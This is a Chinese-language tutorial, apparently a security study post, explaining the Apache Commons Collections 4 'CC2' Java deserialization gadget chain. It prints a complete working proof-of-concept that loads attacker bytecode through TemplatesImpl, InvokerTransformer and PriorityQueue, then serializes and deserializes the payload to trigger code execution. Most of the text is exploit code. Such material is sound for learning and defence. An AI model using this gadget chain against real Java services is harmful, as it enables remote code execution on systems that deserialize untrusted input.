Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
CC2链用到了commons-collections4,需要在pom改一下
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
CC2和CC4十分相似,先看一下CC2的利用链
PriorityQueue#readObject -> TransformingComparator#compare -->
InvokerTransformer#transform --> TemplatesImpl.newTransformer() -->
defineClass->newInstance
前半部分使用到了CC4的两个类,后半部分使用的InvokerTransformer与CC3的后半段拼接起来
先复制过来CC3的动态类加载
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
然后使用InvokerTransformer调用newTransformer方法
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
复制过来CC4的前半部分进行拼接,修改部分参数
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class chainc = transformingComparator.getClass();
Field iTransformers = chainc.getDeclaredField("transformer");
iTransformers.setAccessible(true);
iTransformers.set(transformingComparator,newTransformer);
priorityQueue.add传递了两个对象,传递的对象保存在PriorityQueue#queue变量
heapify方法第一次取的是queue[i],所以需要在第一次add传递templates
完整代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2_Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class chainc = transformingComparator.getClass();
Field iTransformers = chainc.getDeclaredField("transformer");
iTransformers.setAccessible(true);
iTransformers.set(transformingComparator,newTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}

